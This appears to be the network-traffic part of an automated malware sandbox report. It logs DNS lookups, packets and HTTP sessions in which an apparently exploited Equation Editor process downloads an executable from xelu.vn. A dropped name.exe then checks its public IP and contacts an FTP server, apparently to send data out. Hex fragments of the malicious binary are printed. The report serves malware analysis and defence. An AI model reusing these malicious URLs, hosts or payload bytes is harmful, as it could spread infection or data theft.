                                                                                                            Feb 14, 2022 08:13:07.043369055 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:07.043488979 CET4917021192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:07.077764034 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:07.107848883 CET4917158255192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:07.109663963 CET4917158255192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:07.110030890 CET4917158255192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:07.209753036 CET582554917166.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:07.211513042 CET582554917166.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:07.211762905 CET582554917166.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:07.211826086 CET4917158255192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:07.211874008 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:07.211918116 CET4917021192.168.2.2266.70.204.222

                                                                                                            UDP Packets

                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                            Feb 14, 2022 08:12:24.013475895 CET5216753192.168.2.228.8.8.8
                                                                                                            Feb 14, 2022 08:12:24.679075956 CET53521678.8.8.8192.168.2.22
                                                                                                            Feb 14, 2022 08:12:24.679414988 CET5216753192.168.2.228.8.8.8
                                                                                                            Feb 14, 2022 08:12:25.693619013 CET5216753192.168.2.228.8.8.8
                                                                                                            Feb 14, 2022 08:12:26.998697042 CET53521678.8.8.8192.168.2.22
                                                                                                            Feb 14, 2022 08:12:28.013595104 CET53521678.8.8.8192.168.2.22
                                                                                                            Feb 14, 2022 08:12:42.979168892 CET5059153192.168.2.228.8.8.8
                                                                                                            Feb 14, 2022 08:12:43.001689911 CET53505918.8.8.8192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.148050070 CET5780553192.168.2.228.8.8.8
                                                                                                            Feb 14, 2022 08:12:43.170901060 CET53578058.8.8.8192.168.2.22
                                                                                                            Feb 14, 2022 08:13:05.892729044 CET5903053192.168.2.228.8.8.8
                                                                                                            Feb 14, 2022 08:13:05.921804905 CET53590308.8.8.8192.168.2.22

                                                                                                            ICMP Packets

                                                                                                            TimestampSource IPDest IPChecksumCodeType
                                                                                                            Feb 14, 2022 08:12:28.013803005 CET192.168.2.228.8.8.8d00d(Port unreachable)Destination Unreachable

                                                                                                            DNS Queries

                                                                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                            Feb 14, 2022 08:12:24.013475895 CET192.168.2.228.8.8.80xcb99Standard query (0)xelu.vnA (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:12:24.679414988 CET192.168.2.228.8.8.80xcb99Standard query (0)xelu.vnA (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:12:25.693619013 CET192.168.2.228.8.8.80xcb99Standard query (0)xelu.vnA (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:12:42.979168892 CET192.168.2.228.8.8.80xa7c0Standard query (0)whatismyipaddress.comA (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:12:43.148050070 CET192.168.2.228.8.8.80x4199Standard query (0)whatismyipaddress.comA (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:13:05.892729044 CET192.168.2.228.8.8.80x384aStandard query (0)ftp.manchutimefashion.comA (IP address)IN (0x0001)

                                                                                                            DNS Answers

                                                                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                            Feb 14, 2022 08:12:24.679075956 CET8.8.8.8192.168.2.220xcb99No error (0)xelu.vn123.30.139.93A (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:12:26.998697042 CET8.8.8.8192.168.2.220xcb99No error (0)xelu.vn123.30.139.93A (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:12:28.013595104 CET8.8.8.8192.168.2.220xcb99No error (0)xelu.vn123.30.139.93A (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:12:43.001689911 CET8.8.8.8192.168.2.220xa7c0No error (0)whatismyipaddress.com104.16.154.36A (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:12:43.001689911 CET8.8.8.8192.168.2.220xa7c0No error (0)whatismyipaddress.com104.16.155.36A (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:12:43.170901060 CET8.8.8.8192.168.2.220x4199No error (0)whatismyipaddress.com104.16.154.36A (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:12:43.170901060 CET8.8.8.8192.168.2.220x4199No error (0)whatismyipaddress.com104.16.155.36A (IP address)IN (0x0001)
                                                                                                            Feb 14, 2022 08:13:05.921804905 CET8.8.8.8192.168.2.220x384aNo error (0)ftp.manchutimefashion.com66.70.204.222A (IP address)IN (0x0001)

                                                                                                            HTTP Request Dependency Graph

                                                                                                            • xelu.vn
                                                                                                            • whatismyipaddress.com

                                                                                                            HTTP Packets

                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                            0192.168.2.2249166123.30.139.93443C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                                            TimestampkBytes transferredDirectionData


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                            1192.168.2.2249169104.16.154.36443C:\Users\user\AppData\Roaming\name.exe
                                                                                                            TimestampkBytes transferredDirectionData


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                            2192.168.2.2249165123.30.139.9380C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                            Feb 14, 2022 08:12:27.525022984 CET0OUTGET /Newww/PU4TLXlhTTxUD3B.exe HTTP/1.1
                                                                                                            Accept: */*
                                                                                                            Accept-Encoding: gzip, deflate
                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                            Host: xelu.vn
                                                                                                            Connection: Keep-Alive
                                                                                                            Feb 14, 2022 08:12:27.776412010 CET1INHTTP/1.1 301 Moved Permanently
                                                                                                            Date: Mon, 14 Feb 2022 07:13:27 GMT
                                                                                                            Server: Apache
                                                                                                            Location: https://xelu.vn/Newww/PU4TLXlhTTxUD3B.exe
                                                                                                            Content-Length: 249
                                                                                                            Connection: close
                                                                                                            Content-Type: text/html; charset=iso-8859-1
                                                                                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 78 65 6c 75 2e 76 6e 2f 4e 65 77 77 77 2f 50 55 34 54 4c 58 6c 68 54 54 78 55 44 33 42 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                            Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://xelu.vn/Newww/PU4TLXlhTTxUD3B.exe">here</a>.</p></body></html>


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                            3192.168.2.2249168104.16.154.3680C:\Users\user\AppData\Roaming\name.exe
                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                            Feb 14, 2022 08:12:43.101099968 CET1263OUTGET / HTTP/1.1
                                                                                                            Host: whatismyipaddress.com
                                                                                                            Connection: Keep-Alive
                                                                                                            Feb 14, 2022 08:12:43.130810976 CET1264INHTTP/1.1 301 Moved Permanently
                                                                                                            Date: Mon, 14 Feb 2022 07:12:43 GMT
                                                                                                            Transfer-Encoding: chunked
                                                                                                            Connection: keep-alive
                                                                                                            Cache-Control: max-age=3600
                                                                                                            Expires: Mon, 14 Feb 2022 08:12:43 GMT
                                                                                                            Location: https://whatismyipaddress.com/
                                                                                                            Set-Cookie: __cf_bm=xF4SXaXc4GRAwY5c_O8YFIo8EZAylwQFRKrbhbhFzk4-1644822763-0-AQ96HsAYTjbeowla5Z99dz8qc+M2ufw4pi4rac5icHtdEGJg3fKHA9tkmSpwXSZjC33QZgU8txIneq+0c1VMVOc=; path=/; expires=Mon, 14-Feb-22 07:42:43 GMT; domain=.whatismyipaddress.com; HttpOnly
                                                                                                            Server: cloudflare
                                                                                                            CF-RAY: 6dd47d5d6aed912b-FRA
                                                                                                            alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
                                                                                                            Data Raw: 30 0d 0a 0d 0a
                                                                                                            Data Ascii: 0
                                                                                                            Feb 14, 2022 08:12:43.350250959 CET1269INHTTP/1.1 301 Moved Permanently
                                                                                                            Date: Mon, 14 Feb 2022 07:12:43 GMT
                                                                                                            Transfer-Encoding: chunked
                                                                                                            Connection: keep-alive
                                                                                                            Cache-Control: max-age=3600
                                                                                                            Expires: Mon, 14 Feb 2022 08:12:43 GMT
                                                                                                            Location: https://whatismyipaddress.com/
                                                                                                            Set-Cookie: __cf_bm=xF4SXaXc4GRAwY5c_O8YFIo8EZAylwQFRKrbhbhFzk4-1644822763-0-AQ96HsAYTjbeowla5Z99dz8qc+M2ufw4pi4rac5icHtdEGJg3fKHA9tkmSpwXSZjC33QZgU8txIneq+0c1VMVOc=; path=/; expires=Mon, 14-Feb-22 07:42:43 GMT; domain=.whatismyipaddress.com; HttpOnly
                                                                                                            Server: cloudflare
                                                                                                            CF-RAY: 6dd47d5d6aed912b-FRA
                                                                                                            alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
                                                                                                            Data Raw: 30 0d 0a 0d 0a
                                                                                                            Data Ascii: 0


                                                                                                            HTTPS Proxied Packets

                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                            0192.168.2.2249166123.30.139.93443C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                            2022-02-14 07:12:29 UTC0OUTGET /Newww/PU4TLXlhTTxUD3B.exe HTTP/1.1
                                                                                                            Accept: */*
                                                                                                            Accept-Encoding: gzip, deflate
                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                            Connection: Keep-Alive
                                                                                                            Host: xelu.vn
                                                                                                            2022-02-14 07:12:29 UTC0INHTTP/1.1 200 OK
                                                                                                            Date: Mon, 14 Feb 2022 07:13:29 GMT
                                                                                                            Server: Apache
                                                                                                            Upgrade: h2,h2c
                                                                                                            Connection: Upgrade, close
                                                                                                            Last-Modified: Sun, 13 Feb 2022 22:39:17 GMT
                                                                                                            ETag: "2080cff-12fc00-5d7edf860d998"
                                                                                                            Accept-Ranges: bytes
                                                                                                            Content-Length: 1244160
                                                                                                            Content-Type: application/x-msdownload
                                                                                                            2022-02-14 07:12:29 UTC0INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 71 86 09 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 f0 12 00 00 0a 00 00 00 00 00 00 be 0e 13 00 00 20 00 00 00 20 13 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 13 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00
                                                                                                            Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELqb0 @ `@
                                                                                                            2022-02-14 07:12:29 UTC16INData Raw: 00 73 06 00 00 87 04 00 00 a6 01 00 00 d5 05 00 00 bf 03 00 00 7f 05 00 00 9b 06 00 00 8d 00 00 00 66 01 00 00 c7 01 00 00 68 02 00 00 0e 01 00 00 9d 05 00 00 42 02 00 00 f8 05 00 00 48 04 00 00 bc 06 00 00 6f 04 00 00 34 01 00 00 d6 06 00 00 8e 02 00 00 2e 04 00 00 37 03 00 00 dd 01 00 00 8d 06 00 00 20 02 00 00 40 00 00 00 c0 04 00 00 ba 00 00 00 03 04 00 00 80 00 00 00 9e 04 00 00 ad 04 00 00 38 03 07 00 00 02 7b 0c 00 00 04 06 7b 2b 00 00 04 8f 02 00 00 02 02 7b 14 00 00 04 28 13 00 00 06 2d 08 20 8c d9 ab f2 25 2b 06 20 61 ff be e2 25 26 11 0f 20 f8 0e 9b da 5a 61 38 c7 fe ff ff 02 7b 0a 00 00 04 06 7b 2b 00 00 04 1a 62 11 08 58 8f 02 00 00 02 02 7b 14 00 00 04 28 13 00 00 06 2c 08 20 c4 b7 1f 9e 25 2b 06 20 31 97 19 9a 25 26 11 0f 20 4b 51 9f 36 5a
                                                                                                            Data Ascii: sfhBHo4.7 @8{{+{(- %+ a%& Za8{{+bX{(, %+ 1%& KQ6Z
                                                                                                            2022-02-14 07:12:29 UTC32INData Raw: 14 b8 61 38 81 d7 ff ff 02 7b 2e 00 00 04 28 6f 00 00 06 07 20 7f ed 83 94 5a 20 4d 61 e5 18 61 38 64 d7 ff ff 02 7b 30 00 00 04 20 38 18 e8 82 28 02 00 00 2b 28 5d 00 00 06 07 20 72 70 02 f8 5a 20 53 a1 5a e2 61 38 3d d7 ff ff 02 7b 4c 00 00 04 28 5a 00 00 06 17 8d 16 00 00 01 25 16 02 7b 4d 00 00 04 a2 28 53 00 00 06 00 07 20 37 f4 ae 69 5a 20 bd 7c 04 8b 61 38 0b d7 ff ff 00 07 20 c8 5b e1 fc 5a 20 da 72 7d 7d 61 38 f8 d6 ff ff 02 7b 30 00 00 04 20 8f 00 00 00 1c 73 31 00 00 0a 28 5e 00 00 06 00 02 7b 3d 00 00 04 06 20 76 c2 3e 6f 28 04 00 00 2b 28 60 00 00 06 74 1c 00 00 01 28 61 00 00 06 00 02 7b 3d 00 00 04 28 33 00 00 0a 28 5c 00 00 06 00 07 20 a3 4e e2 7d 5a 20 a7 9a a2 5f 61 38 9d d6 ff ff 02 7b 34 00 00 04 20 ee 84 4d 3e 28 05 00 00 2b 28 5f 00
                                                                                                            Data Ascii: a8{.(o Z Maa8d{0 8(+(] rpZ SZa8={L(Z%{M(S 7iZ |a8 [Z r}}a8{0 s1(^{= v>o(+(`t(a{=(3(\ N}Z _a8{4 M>(+(_
                                                                                                            2022-02-14 07:12:29 UTC48INData Raw: 00 00 53 10 00 00 aa 08 00 00 38 85 16 00 00 00 02 7b 6a 00 00 04 1f 25 1f 20 73 31 00 00 0a 28 b8 00 00 06 11 04 20 89 18 ca ea 5a 20 a5 68 35 8c 61 38 43 fd ff ff 02 7b 68 00 00 04 02 fe 06 9c 00 00 06 73 68 00 00 0a 28 bb 00 00 06 00 11 04 20 ff ea c6 e6 5a 20 5a 40 4a 5e 61 38 18 fd ff ff 02 28 94 00 00 06 00 02 7b 61 00 00 04 20 b2 01 00 00 20 25 01 00 00 73 32 00 00 0a 28 ae 00 00 06 00 11 04 20 f8 aa 4e bb 5a 20 53 a8 db c7 61 38 e3 fc ff ff 00 02 7b 62 00 00 04 20 02 b3 bd 72 28 02 00 00 2b 22 00 00 24 41 28 d9 00 00 06 28 da 00 00 06 00 11 04 20 dc 62 c8 6f 5a 20 ae d1 2e 97 61 38 af fc ff ff 02 28 a6 00 00 06 7d 5d 00 00 04 11 04 20 2b a5 7e 9f 5a 20 39 9b 11 a5 61 38 91 fc ff ff 02 7b 63 00 00 04 28 ce 00 00 06 11 04 20 77 3f e5 0a 5a 20 71 2d
                                                                                                            Data Ascii: S8{j% s1( Z h5a8C{hsh( Z Z@J^a8({a %s2( NZ Sa8{b r(+"$A(( boZ .a8(}] +~Z 9a8{c( w?Z q-
                                                                                                            2022-02-14 07:12:29 UTC64INData Raw: 02 02 7b 89 00 00 04 17 58 7d 89 00 00 04 20 71 11 6e 03 38 7e fe ff ff 08 2d 08 20 33 1b c8 70 25 2b 06 20 b1 cc bc 26 25 26 11 06 20 9c 4c 3c 67 5a 61 38 5e fe ff ff 02 7b 89 00 00 04 17 58 02 7b 87 00 00 04 6f ba 00 00 0a fe 04 2b 01 16 0c 20 e9 83 24 00 38 3b fe ff ff 02 28 4f 01 00 06 25 6f 8d 01 00 06 0a 06 17 58 6f 8e 01 00 06 11 06 20 48 d6 9b ed 5a 20 d1 bc 73 25 61 38 13 fe ff ff 00 11 06 20 ec 29 1b 58 5a 20 73 94 14 ba 61 38 ff fd ff ff 02 28 4f 01 00 06 6f 85 01 00 06 02 28 4f 01 00 06 6f 8d 01 00 06 fe 02 16 fe 01 0b 11 06 20 aa 5f 91 e8 5a 20 cb 4e 53 40 61 38 d0 fd ff ff 00 11 06 20 a0 07 f5 4e 5a 20 f1 a9 20 11 61 38 bc fd ff ff 00 02 7b 87 00 00 04 6f 62 00 00 0a 13 04 2b 40 20 37 50 03 0b 20 e4 58 8d 48 61 25 13 06 1a 5e 45 04 00 00 00
                                                                                                            Data Ascii: {X} qn8~- 3p%+ &%& L<gZa8^{X{o+ $8;(O%oXo HZ s%a8 )XZ sa8(Oo(Oo _Z NS@a8 NZ a8{ob+@ 7P XHa%^E
                                                                                                            2022-02-14 07:12:30 UTC80INData Raw: 8f 5c d9 e8 47 ff 29 7b c1 66 f3 5c 90 81 ec ca 8f 5b 83 b2 17 6d 36 af 05 1d 48 21 3e d3 f2 ef cc 6d 61 0b 3e 90 42 fe 22 57 45 62 8b 58 25 02 29 b4 de c8 ae 6f f4 92 cf cb de 84 d9 ac 56 99 40 76 e5 9f 24 ef 94 bd 11 b3 59 ac 72 81 14 a2 cd d6 d3 8e 5c 36 8f 55 32 90 42 32 ec 1c f3 f7 25 36 eb 55 36 90 42 b6 d3 bd cd 27 89 cd 72 95 0e a4 10 6d 1f b9 74 b5 1f ff d5 3f ac b2 59 ac f2 81 ec 4a 4e a5 c7 5d 76 b4 69 af 36 81 14 92 4d ff 99 9c 4d 77 b5 0a a4 90 0d 3b bf 13 89 4d 6b 79 20 f5 f9 fa 83 5d e9 d9 a3 57 e4 91 fc bb ec 0d 87 3e 5f a0 13 d4 ea f7 05 3a 7b e5 0f db 99 b2 87 30 e4 f9 0a 36 e6 aa 6a 97 1d 6b 77 e6 25 7c f9 43 57 99 cb 8e 02 61 21 e2 61 e7 57 79 24 c1 5f 76 14 08 0b b5 f6 72 f2 ce e1 e7 9b a5 0f 67 08 13 08 0b 97 9c c9 9e 08 f5 c8 25 10
                                                                                                            Data Ascii: \G){f\[m6H!>ma>B"WEbX%)oV@v$Yr\6U2B2%6U6B'rmt?YJN]vi6MMw;Mky ]W>_:{06jkw%|CWa!aWy$_vrg%
                                                                                                            2022-02-14 07:12:30 UTC96INData Raw: 8f ce 75 12 00 3a c1 e1 33 9f 52 16 a7 97 da f8 7f 47 6c 82 4d 08 d9 86 2b 04 97 c2 c6 e3 af 4b c8 36 a7 f7 81 24 24 c2 df 35 36 c2 f6 ad d7 ff 37 6c af fa ae 28 36 db 3e d4 96 34 1c 1d 98 48 6e 3d e9 bd 5f 64 92 3a c3 aa f8 09 27 4f 4d df ac c6 c3 20 aa 95 ac de e2 45 2b d2 68 55 23 f3 a0 35 29 65 41 f6 b9 3f 2e 23 98 59 1d 8c d3 5b c4 97 8d 12 4f 36 8a 3f 23 6d 96 3b 7f c1 cf 3e ac fa 4d 2b 0f 29 1b e0 e4 e0 d7 24 be fc d8 4e 4f dd 58 7b ba 7c ba d7 7a a9 6e bf c1 d5 b8 bb 61 05 20 2a db 48 6e d9 51 77 39 37 60 92 95 a5 71 bf e1 a4 b6 52 21 cc 40 d9 29 83 b5 10 b9 3f 21 38 71 d5 86 db cb 03 54 0d b2 36 cf 9d af 1c c0 bf bf 90 ae cf 45 91 60 83 8f 47 07 bf 51 b4 b8 39 94 4f bc 75 d4 8c bb d1 8e 04 8b 7b ba e4 b7 e3 e3 a0 e5 36 80 4f a1 fa 42 60 28 45 5b
                                                                                                            Data Ascii: u:3RGlM+K6$$567l(6>4Hn=_d:'OM E+hU#5)eA?.#Y[O6?#m;>M+)$NOX{|zna *HnQw97`qR!@)?!8qT6E`GQ9Ou{6OB`(E[
                                                                                                            2022-02-14 07:12:30 UTC112INData Raw: c8 af 6f e9 ee 0a 59 ee ea 4b 68 8e 00 77 57 63 1f ad 14 5b 20 33 3d d6 d7 a9 fa 0f 54 e6 0b b7 b8 c4 2d 57 a9 82 d7 ba e8 a0 9d ce c4 bf 4a 82 5a 0f 54 e6 0e a2 e7 a6 40 78 af 37 dc b1 4a 68 72 14 3d 8c 27 12 26 26 fe 9b 0c c0 a4 38 02 24 ab 35 d3 f2 6b 67 19 c6 d8 a6 b0 85 5a 34 22 51 5c 3b 49 cf af 90 e5 e7 5d 80 68 38 62 5f 19 f6 1c 6a 58 3d 63 5a 24 08 09 28 d7 0e 49 d9 9b 8c 3d 5e 2c 38 cc d3 50 6c df 28 fa 48 d1 32 e6 91 35 55 b6 b9 c1 c2 63 c8 22 2c 33 d7 b8 79 45 ae 11 29 23 24 ea 9c 2b 67 b8 92 c1 c2 b3 93 04 60 d4 8a 59 6c a1 db 7b bd c3 a1 73 dd 65 66 bc 9e 88 b6 3b 64 14 33 3b cc ae 6e b5 2a 73 c9 3d e4 2b 38 9c 94 42 4a 72 5f be bf a3 df d8 80 df ce 4d da 1d ac d3 28 44 d1 dd 17 5e de 21 bb ad 27 60 2d 3f 1b ac d0 49 cf 23 4b 2b 15 78 34 3d
                                                                                                            Data Ascii: oYKhwWc[ 3=T-WJZT@x7Jhr='&&8$5kgZ4"Q\;I]h8b_jX=cZ$(I=^,8Pl(H25Uc",3yE)#$+g`Yl{sef;d3;n*s=+8BJr_M(D^!'`-?I#K+x4=
                                                                                                            2022-02-14 07:12:30 UTC128INData Raw: 65 4f 3b d0 a1 25 89 15 51 7a 68 42 3c 27 35 73 5a df 5c 1f 7c 17 0d c2 03 7c b1 21 b4 15 50 74 c8 c8 8f 4e 67 eb ff 75 4c fe 3f c7 df 41 59 ca 82 57 82 69 3e 2d 81 c3 00 25 80 61 c5 80 52 1c e4 64 25 53 36 07 59 f3 59 3b 02 5f a2 95 59 10 3b 1e a8 58 67 00 27 21 8b d8 bc 0c 20 14 12 e9 10 90 2c b7 16 62 f8 a5 fb 9a 33 b2 99 82 06 11 61 5e 20 cd 4e 2b 43 c4 2d 5e 4d 34 52 2a 27 c3 8f 62 ad 9a 1e 19 a6 2c 27 cc e4 13 50 4b 07 a2 c9 51 21 da ee 8e d6 fe b4 40 d0 d3 68 13 c8 a0 51 28 34 06 3c 37 14 0e 63 a5 49 57 ab c9 66 df 3e 1a 8d c3 91 8d e8 7e 7d 73 dd 9d c9 c1 b2 47 1f 35 8d 97 ff a6 06 cc 2d fc 88 f9 fe cd 6e 34 eb 59 c1 fa ca d8 cf 6d ba f6 db 7f 2f fc 5d b8 bb 4f 2f f9 39 23 7a 01 6f 27 6f 54 df 2b ae 8a bf f7 75 db e7 91 18 b7 bb 2f c4 5e 97 fc ed
                                                                                                            Data Ascii: eO;%QzhB<'5sZ\||!PtNguL?AYWi>-%aRd%S6YY;_Y;Xg'! ,b3a^ N+C-^M4R*'b,'PKQ!@hQ(4<7cIWf>~}sG5-n4Ym/]O/9#zo'oT+u/^
                                                                                                            2022-02-14 07:12:30 UTC144INData Raw: b5 34 ba 54 e6 12 fd 47 e5 12 e1 2e 47 54 e2 54 9d 59 95 fa 92 94 aa fe f9 b3 67 ac ae 93 0d f3 3d 5b 27 16 03 75 a0 83 3b 25 4c 53 d3 62 25 7e 54 a2 66 d6 9e 19 74 1c 97 6d 13 b7 ee eb 17 d4 4a 8c da 1a b7 f9 dc d3 cb 7c bd 3f 04 73 20 6f e7 46 37 e5 f4 d3 6e e2 9f 9f 7e d3 48 e9 21 0c 7f e7 3f f0 d5 7f 47 6e 47 ea 87 e5 bc c9 b1 78 be 0f 22 ba c7 d6 1c ca 1c dc de ca 60 2c 56 43 87 c7 2f f6 69 8f ce 9f 8d 78 66 d3 36 7c 3f 69 ac 8a 5a 55 e4 7b f4 48 b1 43 9e d8 c9 88 d1 b6 24 89 3b 72 eb 2a fc cb 26 62 2f 24 de 34 dc 9e 92 71 40 75 ab 72 83 a2 4a e8 92 da 15 30 19 3a 92 72 2e 2d a3 d9 6c bd f7 17 e3 e6 c9 00 50 9c 94 35 fd 20 ce f0 6c c0 8d a2 90 a9 4c 2b af ed 7f 0c 2e 08 9c 57 8d 22 78 b9 1d 5c ac 69 3b 38 d0 b5 65 b6 7d f8 e5 bd ce af c7 ae 0e 3b a0
                                                                                                            Data Ascii: 4TG.GTTYg=['u;%LSb%~TftmJ|?s oF7n~H!?GnGx"`,VC/ixf6|?iZU{HC$;r*&b/$4q@urJ0:r.-lP5 lL+.W"x\i;8e};
                                                                                                            2022-02-14 07:12:30 UTC160INData Raw: bb cb d5 fb 7d f2 93 ad 73 fd c2 4a 8d 92 32 03 53 28 c5 fa a5 a2 6f 3e 31 d7 af d8 a6 f8 6f 3a b9 55 4d d8 6f b3 52 f2 43 23 f5 86 8f d5 fc fb 7e 40 15 db 5e 1c d9 a4 bd 25 e4 b6 38 81 7e 78 ff 87 bd 67 af a1 36 d9 a0 5e c6 ec a4 b2 17 f8 9f 36 9c bf c2 8d 0f b9 f2 b7 a4 f7 ab 37 09 fb 4c a3 6e cd 8b d3 e5 c1 34 59 5d 4b 42 30 56 7e 3f 55 f9 dc 99 a2 4d fe 34 fe ac f8 d4 c4 ed cd 1b ab d4 a8 3e db 5e 7f 79 25 b0 bd fe f9 8b da a8 8b 3b 56 46 a7 3e 38 be d8 fb bd fd e2 95 84 b4 27 03 6f 17 47 9e 8c 1d 3a 2d 51 c2 6c 57 06 e1 66 5b 07 1e 0c 7c 3f fe 8d 76 a2 19 af b9 bc cc 8c 79 61 ee 58 66 47 0a da 65 5a fc c5 d1 27 94 2a d3 e3 7b d5 b4 bc 5e b0 f4 f8 7a d7 3b 85 03 52 c3 31 63 fb 16 ed 18 6d 99 17 fa b7 04 1e 38 f2 c3 e3 54 be 0c 8e f0 fe 02 a5 7f 8e 48
                                                                                                            Data Ascii: }sJ2S(o>1o:UMoRC#~@^%8~xg6^67Ln4Y]KB0V~?UM4>^y%;VF>8'oG:-QlWf[|?vyaXfGeZ'*{^z;R1cm8TH
                                                                                                            2022-02-14 07:12:30 UTC176INData Raw: 60 45 b7 f4 85 41 03 51 15 94 84 b1 c3 8c 88 a8 fa c3 9f c5 35 22 60 ef c2 b6 f6 c0 90 01 80 bf fc 06 d6 90 8c 0f 00 1a 48 98 00 50 da a0 80 fb 06 68 b9 04 19 c4 b2 cf 0e 1c 42 1a f9 1c e7 12 01 dd 0e 22 25 c1 48 08 83 31 0c 6c 0c 34 01 11 e1 f1 06 7c 09 6b 42 31 00 69 05 8b 28 be ad 59 fc 00 8b 68 ef 23 cd 7e 10 2d 3a 80 4d 80 c4 a9 38 3c 98 46 dc f5 fe 0e 2c 4b ae 99 39 1b b9 fe 37 13 11 1a 82 af 97 69 c4 3a 3b c3 3c 02 e9 70 b8 8c f8 f2 e9 86 ee 30 78 0b c9 d8 79 fb 20 21 83 0c f8 bc 3a 6c a1 c6 40 a0 03 87 58 d5 3e 18 c8 c7 97 6c 8b 41 b4 01 90 52 ba 00 00 d4 10 17 3a cc 46 fc be 62 88 04 3f 5d 32 49 c2 c2 41 08 e2 72 c9 04 07 a0 86 24 be 21 49 7f 32 0c 40 7d 0b 5b f0 9c 41 6d 2e d6 0f 87 41 dc fe 9c a1 11 ee 5a 08 03 c5 81 a0 8c b5 0e 81 5a 20 19 3e
                                                                                                            Data Ascii: `EAQ5"`HPhB"%H1l4|kB1i(Yh#~-:M8<F,K97i:;<p0xy !:l@X>lAR:Fb?]2IAr$!I2@}[Am.AZZ >
